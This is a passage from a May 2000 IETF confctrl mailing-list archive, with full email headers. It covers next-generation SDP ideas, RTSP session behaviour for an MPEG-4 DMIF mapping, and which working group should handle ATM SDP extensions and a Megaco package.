<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Since the RTP portion of =
the SMIL Boston spec has such clear overlap with </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; an existing IETF spec, it =
may make sense to separate this out and work on </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; it as a namespace-separated =
extension to SMIL Boston, for which the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; details </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; are sorted out in the =
IETF.&nbsp; That would allow the group with the most </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; interest and expertise in =
the matter to participate.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Thoughts?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; Rob</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; At 09:43 AM 5/25/00 +1000, =
Markus Buchhorn wrote:</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Hi All</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;A quick question that =
leapt to mind from a couple of recent threads. I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; have</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;seen mention of various =
extensions to SDP (&quot;we're hitting some</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; limitations</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;of SDP&quot;), some for =
application features (codecs, etc.), some for</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; transport</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;features (ATM leaps to =
mind, mobile users ?).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Which group/who is =
looking at the next generation of SDP? (I think Mark</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Handley mentioned =
&quot;some people call it SDPv2 and it's not really a v2&quot;).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; I</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;haven't seen any =
mailing lists under avt or mmusic (where it should be?)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;really discuss =
it.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;I'd be interested to =
see what is being done. One idea I wanted to canvas</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;was the use of XML in =
session/content/transport description, with</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;appropriate DTD's being =
created as necessary. Nicely extensible and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;pigeon-hole-able and =
container-able :-). However, it can be a bit heavy</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; and</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;SAP puts some strong =
recommendations on bandwidth usage and packet sizes.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;OTOH XML is =
compressible (e.g. wbxml) in special cases.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Anyway - just wanted to =
lob a couple of cents in (around $US0.0114 at</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; last</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;glance...), and see =
what people are thinking.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Cheers,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Markus</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Markus Buchhorn,&nbsp; =
Advanced Computational Systems CRC&nbsp;&nbsp;&nbsp;&nbsp; | Ph: +61 =
2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; 62798810</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;email: =
markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; 62798602</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;Australian National =
University, Canberra 0200, Australia |Mobile: 0417 </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; &gt;281429</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; &gt; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; </FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BFCA7A.828CCE30--

From confctrl-owner  Wed May 31 02:20:55 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA14569
	for confctrl-outgoing; Wed, 31 May 2000 02:20:55 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA14563
	for <confctrl@zephyr.isi.edu>; Wed, 31 May 2000 02:20:54 -0700 (PDT)
Received: from mail-out1.apple.com (mail-out1.apple.com [17.254.0.52])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id CAA09786
	for <confctrl@isi.edu>; Wed, 31 May 2000 02:21:29 -0700 (PDT)
Received: from mailgate1.apple.com (A17-128-100-225.apple.com [17.128.100.225])
	by mail-out1.apple.com (8.9.3/8.9.3) with ESMTP id CAA11129
	for <confctrl@isi.edu>; Wed, 31 May 2000 02:21:32 -0700 (PDT)
Received: from scv1.apple.com (scv1.apple.com) by mailgate1.apple.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <T118064e1da4c815a0817@mailgate1.apple.com>;
 Wed, 31 May 2000 02:21:15 -0700
Received: from [17.202.35.52] ([17.219.146.4])
	by scv1.apple.com (8.9.3/8.9.3) with ESMTP id CAA25563;
	Wed, 31 May 2000 02:21:22 -0700 (PDT)
Mime-Version: 1.0
X-Sender: singer@mail.apple.com
Message-Id: <p0432042cb55a695917ea@[17.202.35.52]>
In-Reply-To: <39342554.AB709549@cs.tut.fi>
References: <39342554.AB709549@cs.tut.fi>
Date: Wed, 31 May 2000 09:03:08 +0200
To: Florin Lohan <lohanf@cs.tut.fi>
From: Dave Singer <singer@apple.com>
Subject: Re: RTSP to DMIF mapping
Cc: confctrl@ISI.EDU, roberto.castagno@nokia.com
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I guess my question is:  does it matter if you get a new RTSP session 
when you start re-opening streams?  It seems that the only danger is 
that the resource that is the target of the URL may change while you 
have no session open, so if you do not do a new DESCRIBE, you might 
be out of sync with the target of the URL.


At 23:32 +0300 5/30/00, Florin Lohan wrote:
>Hello !
>My name is Florin Lohan and I am a PhD student at Tampere University of
>Technology, Finland. In cooperation with Nokia, we are working in order
>to improve our proposal for the management of MPEG-4 session using IETF
>protocols. Our first approach is described in the MPEG document N3198p4,
>"Text for ISO/IEC 14496-1 version 3 VM 9.0".
>We are trying to map the DMIF control commands to RTSP/SDP protocols.
>Our goal is to obtain interoperability with RTSP clients/servers.
>I am kindly asking you to help me with the following problem regarding a
>standard RTSP server behavior:
>DMIF, the  has separate commands for opening and closing a session
>(ServiceAttach and ServiceDetach). After a session is opened, a client
>can add and delete media channels (streams) at will. So it can happen
>that a client opens a session, opens some media streams, then closes
>them all, and  in the same DMIF session, it opens some other media
>streams. According to MPEG, the DMIF session should remain "alive"
>during this process.
>My question is how an RTSP server should behave when a client  closes
>all opened media streams inside its session. Is the server closes  the
>session with the client after the last media stream is closed or is it
>still keeping it opened for some time (until the timeout expires, maybe)
>?
>Thank you and best regards,
>Florin Lohan

-- 
David Singer
Apple Computer/QuickTime

From confctrl-owner  Wed May 31 07:04:44 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA25821
	for confctrl-outgoing; Wed, 31 May 2000 07:04:44 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA25816
	for <confctrl@zephyr.isi.edu>; Wed, 31 May 2000 07:04:42 -0700 (PDT)
Received: from smtprch2.nortel.com (smtprch2.nortelnetworks.com [192.135.215.15])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id HAA17815
	for <confctrl@ISI.EDU>; Wed, 31 May 2000 07:05:16 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually zrchb213) 
          by smtprch2.nortel.com; Wed, 31 May 2000 08:29:51 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) 
          id <LW2B0X9G>; Wed, 31 May 2000 08:32:41 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD1103858525@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: "'Joerg Ott'" <jo@tzi.uni-bremen.de>, Rajesh Kumar <rkumar@cisco.com>
Cc: mmostafa@cisco.com, bfoster@cisco.com, Brian.Rosen@marconi.com,
        atmsdp@eng.fore.com, confctrl@ISI.EDU,
        ISC_DeviceControl@inventures.com, dwing@cisco.com
Subject: RE: ATM Package for Megaco
Date: Wed, 31 May 2000 08:32:43 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BFCB04.B06F69A4"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFCB04.B06F69A4
Content-Type: text/plain

Just a gloss on this note: Scott Bradner and Allison Mankin have given their
blessing to letting Megaco do the detailed work on the stuff it needs.  We
can work the general principles through MMUSIC, then finish up on our own
list.

> -----Original Message-----
> From:	Joerg Ott [SMTP:jo@tzi.uni-bremen.de]
> Sent:	Tuesday, May 30, 2000 4:07 PM
> To:	Rajesh Kumar
> Cc:	mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com;
> atmsdp@eng.fore.com; confctrl@ISI.EDU; ISC_DeviceControl@inventures.com;
> dwing@cisco.com
> Subject:	Re: ATM Package for Megaco
> 
> Rajesh,
> 
> sorry for the response delay.  The Internet Drafts (which hopefully
> contain the
> authors' addresses) can be found at
> 
>  
> http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rtsp-ext-00.t
> xt
> 
> Yes, I do believe that MMUSIC is the proper form for this kind of
> discussion
> (particularly if it involves extensions that are of broader
> applicability).
> MMUSIC should deal with all general aspects of SDP extensions and also 
> define/constrain how such extensions are to be done.  For very specific
> applications, however, the proper place for discussion 35 different
> relevant
> parameters which are not of broader applicability might be elsewhere
> (e.g. in the context of MEGACO) but the general constraints should not
> be violated.
> 
> So everything of general interest (and from my memory this probably
> applies
> to most/all of your proposal -- but don't quote me on this as its from
> memory :-)
> should be done in MMUSIC.
> 
> 
> > OK - I'll give this a shot. Who should I send the results to? The atmdsp
> mailing list?
> > The confctrl mailing list?
> 
> Both. 
> 
> Typically, lack of response means that people are busy or consider
> something
> not too important.  As we have several proposal on SDP for ATM,
> unimportance is
> less likely.  Nevertheless, it's probably not among people's top priority.
> 
> Also, note that we are working on SDPng (how it was called on a recent
> thread)
> to provide a better framework for capability description and negotiation.
> In this context, I promise to go through the document during our
> discussion
> cycles here and get you some further feedback; but please allow this to
> take
> a week or two)
> 
> I agree that it is important to move the stuff ahead.  As I stated before,
> I'd like to see the stuff coordinated with other work in this area and,
> if possible, also with the work on SDPng.  But for the latter, I am sort
> of
> the bottleneck right now (working on this :-)
> 
> You are *very* welcome to present and discuss the revisions in Pittburg
> at the next IETF.  I'll put this down in my agenda for some 20 minutes.
> Let
> me know if you need more.
> 
> Joerg
> 

------_=_NextPart_001_01BFCB04.B06F69A4
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2651.65">
<TITLE>RE: ATM Package for Megaco</TITLE>
</HEAD>
<BODY>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial">Just a gloss on this =
note: Scott Bradner and Allison Mankin have given their blessing to =
letting Megaco do the detailed work on the stuff it needs.&nbsp; We can =
work the general principles through MMUSIC, then finish up on our own =
list.</FONT></P>
<UL>
<P><FONT SIZE=3D1 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">From:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Joerg Ott [SMTP:jo@tzi.uni-bremen.de]</FONT>
<BR><B><FONT SIZE=3D1 FACE=3D"Arial">Sent:&nbsp;&nbsp;</FONT></B> <FONT =
SIZE=3D1 FACE=3D"Arial">Tuesday, May 30, 2000 4:07 PM</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">Rajesh Kumar</FONT>
<BR><B><FONT SIZE=3D1 =
FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp;</FONT></B> <FONT SIZE=3D1 =
FACE=3D"Arial">mmostafa@cisco.com; bfoster@cisco.com; =
Brian.Rosen@marconi.com; atmsdp@eng.fore.com; confctrl@ISI.EDU; =
ISC_DeviceControl@inventures.com; dwing@cisco.com</FONT></P>

<P><B><FONT SIZE=3D1 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</FONT>=
</B> <FONT SIZE=3D1 FACE=3D"Arial">Re: ATM Package for Megaco</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Rajesh,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">sorry for the response delay.&nbsp; =
The Internet Drafts (which hopefully contain the</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">authors' addresses) can be found =
at</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp;<U> =
</U></FONT><U><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Arial"><A =
HREF=3D"http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rts=
p-ext-00.txt" =
TARGET=3D"_blank">http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-=
mmusic-rtsp-ext-00.txt</A></FONT></U>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Yes, I do believe that MMUSIC is the =
proper form for this kind of discussion</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">(particularly if it involves =
extensions that are of broader applicability).</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">MMUSIC should deal with all general =
aspects of SDP extensions and also </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">define/constrain how such extensions =
are to be done.&nbsp; For very specific</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">applications, however, the proper =
place for discussion 35 different relevant</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">parameters which are not of broader =
applicability might be elsewhere</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">(e.g. in the context of MEGACO) but =
the general constraints should not</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">be violated.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">So everything of general interest (and =
from my memory this probably applies</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to most/all of your proposal -- but =
don't quote me on this as its from memory :-)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">should be done in MMUSIC.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">&gt; OK - I'll give this a shot. Who =
should I send the results to? The atmdsp mailing list?</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&gt; The confctrl mailing =
list?</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Both. </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Typically, lack of response means that =
people are busy or consider something</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">not too important.&nbsp; As we have =
several proposal on SDP for ATM, unimportance is</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">less likely.&nbsp; Nevertheless, it's =
probably not among people's top priority.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Also, note that we are working on =
SDPng (how it was called on a recent thread)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">to provide a better framework for =
capability description and negotiation.</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">In this context, I promise to go =
through the document during our discussion</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">cycles here and get you some further =
feedback; but please allow this to take</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">a week or two)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I agree that it is important to move =
the stuff ahead.&nbsp; As I stated before,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">I'd like to see the stuff coordinated =
with other work in this area and,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">if possible, also with the work on =
SDPng.&nbsp; But for the latter, I am sort of</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">the bottleneck right now (working on =
this :-)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">You are *very* welcome to present and =
discuss the revisions in Pittburg</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">at the next IETF.&nbsp; I'll put this =
down in my agenda for some 20 minutes.&nbsp; Let</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">me know if you need more.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Joerg</FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BFCB04.B06F69A4--

From confctrl-owner  Wed May 31 07:21:18 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA26651
	for confctrl-outgoing; Wed, 31 May 2000 07:21:18 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA26645
	for <confctrl@zephyr.isi.edu>; Wed, 31 May 2000 07:21:16 -0700 (PDT)
Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18253
	for <confctrl@isi.edu>; Wed, 31 May 2000 07:21:49 -0700 (PDT)
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA24166;
	Wed, 31 May 2000 10:17:19 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA14034;
	Wed, 31 May 2000 10:17:19 -0400 (EDT)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21)
	id <K07XY8C4>; Wed, 31 May 2000 10:17:19 -0400
Message-ID: <4FBEA8857476D311A03300204840E1CF6783CC@whq-msgusr-02.fore.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Tom-PT Taylor'" <taylor@nortelnetworks.com>,
        "'Joerg Ott'"
	 <jo@tzi.uni-bremen.de>,
        Rajesh Kumar <rkumar@cisco.com>
Cc: mmostafa@cisco.com, bfoster@cisco.com, atmsdp@eng.fore.com,
        confctrl@ISI.EDU, ISC_DeviceControl@inventures.com, dwing@cisco.com,
        "'megaco@standards.nortelnetworks.com'"
	 <megaco@standards.nortelnetworks.com>
Subject: RE: ATM Package for Megaco
Date: Wed, 31 May 2000 10:17:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BFCB0A.EDC34B76"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BFCB0A.EDC34B76
Content-Type: text/plain;
	charset="ISO-8859-1"

At the moment, we hope that we can get ONE extension to SDP that works for
MGCP, Megaco and
SIP.  Besides the SDP update, MGCP and Megaco each need a package
definition, which is
also in progress.
 
So, as long as there are no conflicts, it would be best, I think, to keep
this an MMUSIC thing,
with cross posting of drafts to the Megaco and SIP lists (and also the MGCP
lists, non-IETF).
We will need an RFC for the Megaco package, which could be part of the SDP
update,
or could be a separate document.  At the moment, I'm thinking that it is
separate unless
we get both the MGCP and the Megaco package in there.  If we wanted the RFC
to be
standards track, it might be awkward to have the MGCP package in it.  So, I
propose that
Megaco do the package as a separate document, and MMUSIC do the SDP
extension on
a one-size-fits-all basis.  ISC will do the MGCP package.
 
Rajesh is working on a new version of the draft, with comments from several
folks.
I have a start at the Megaco package, and have a few comments to
incorporate.
We are contacting the nCube folks who had some ATM definitions in their
extension to RTSP and try to get them on-board.  We also are working to get
Scroggins/Brown at Nortel to propose updates to the Kumar draft to
incorporate
their concerns (hopefully without IPR baggage).
 
I'm kind of pushing to get this to a "last call" stage at the Pittsburgh
meeting, which
doesn't leave much room for the SDPng stuff.  That could be a problem.  On
the other
hand, we need it done asap for Megaco.  I may be too optimistic.
 
Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Wednesday, May 31, 2000 9:33 AM
To: 'Joerg Ott'; Rajesh Kumar
Cc: mmostafa@cisco.com; bfoster@cisco.com; Rosen, Brian;
atmsdp@eng.fore.com; confctrl@isi.edu; ISC_DeviceControl@inventures.com;
dwing@cisco.com
Subject: RE: ATM Package for Megaco



Just a gloss on this note: Scott Bradner and Allison Mankin have given their
blessing to letting Megaco do the detailed work on the stuff it needs.  We
can work the general principles through MMUSIC, then finish up on our own
list.

	-----Original Message----- 
From:   Joerg Ott [SMTP:jo@tzi.uni-bremen.de] 
Sent:   Tuesday, May 30, 2000 4:07 PM 
To:     Rajesh Kumar 
Cc:     mmostafa@cisco.com; bfoster@cisco.com; Brian.Rosen@marconi.com;
atmsdp@eng.fore.com; confctrl@ISI.EDU; ISC_DeviceControl@inventures.com;
dwing@cisco.com

	Subject:        Re: ATM Package for Megaco 

	Rajesh, 

	sorry for the response delay.  The Internet Drafts (which hopefully
contain the 
authors' addresses) can be found at 

	
http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rtsp-ext-00.txt
<http://www.dmn.tzi.org/ietf/mmusic/47/id/draft-sheedy-mmusic-rtsp-ext-00.tx
t>  

	Yes, I do believe that MMUSIC is the proper form for this kind of
discussion 
(particularly if it involves extensions that are of broader applicability). 
MMUSIC should deal with all general aspects of SDP extensions and also 
define/constrain how such extensions are to be done.  For very specific 
applications, however, the proper place for discussion 35 different relevant

parameters which are not of broader applicability might be elsewhere 
(e.g. in the context of MEGACO) but the general constraints should not 
be violated. 

	So everything of general interest (and from my memory this probably
applies 
to most/all of your proposal -- but don't quote me on this as its from
memory :-) 
should be done in MMUSIC. 


	> OK - I'll give this a shot. Who should I send the results to? The
atmdsp mailing list? 
> The confctrl mailing list? 

	Both. 

	Typically, lack of response means that people are busy or consider
something 
not too important.  As we have several proposal on SDP for ATM, unimportance
is 
less likely.  Nevertheless, it's probably not among people's top priority. 

	Also, note that we are working on SDPng (how it was called on a
recent thread) 
to provide a better framework for capability description and negotiation. 
In this context, I promise to go through the document during our discussion 
cycles here and get you some further feedback; but please allow this to take

a week or two) 

	I agree that it is important to move the stuff ahead.  As I stated
before, 
I'd like to see the stuff coordinated with other work in this area and, 
if possible, also with the work on SDPng.  But for the latter, I am sort of 
the bottleneck right now (working on this :-) 

	You are *very* welcome to present and discuss the revisions in
Pittburg 
at the next IETF.  I'll put this down in my agenda for some 20 minutes.  Let

me know if you need more. 

	Joerg 


------_=_NextPart_001_01BFCB0A.EDC34B76
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<TITLE>RE: ATM Package for Megaco</TITLE>

<META content="MSHTML 5.00.2919.6307" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>At the 
moment, we hope that we can get ONE extension to SDP that works for MGCP, Megaco 
and</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000>SIP.&nbsp; Besides the SDP update, MGCP and Megaco each 
need a package definition, which is</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>also 
in progress.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>So, as 
long as there are no conflicts, it would be best, I think, to keep this an 
MMUSIC thing,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>with 
cross posting of drafts to the Megaco and SIP lists (and also the MGCP lists, 
non-IETF).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>We 
will need an RFC for the Megaco package, which could be part of the SDP 
update,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>or 
could be a separate document.&nbsp; At the moment, I'm thinking that it is 
separate unless</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>we get 
both the MGCP and the Megaco package in there.&nbsp; If we wanted the RFC to 
be</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000>standards track, it might be awkward to have the MGCP 
package in it.&nbsp; So, I propose that</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>Megaco 
do the package as a separate document, and MMUSIC do the SDP extension 
on</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>a 
one-size-fits-all basis.&nbsp; ISC will do the MGCP package.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>Rajesh 
is working on a new version of the draft, with comments from several 
folks.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>I have 
a start at the Megaco package, and have a few comments to 
incorporate.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>We are 
contacting the nCube folks who had some ATM definitions in 
their</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000>extension to RTSP and try to get them on-board.&nbsp; 
We also are working to get</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000>Scroggins/Brown at Nortel to propose updates to the 
Kumar draft to incorporate</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>their 
concerns (hopefully without IPR baggage).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=040020614-31052000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=040020614-31052000>I'm 
kind of pushing to get this to a "last call" stage at the Pittsburgh meeting, 
which</SPAN></FONT></DIV>
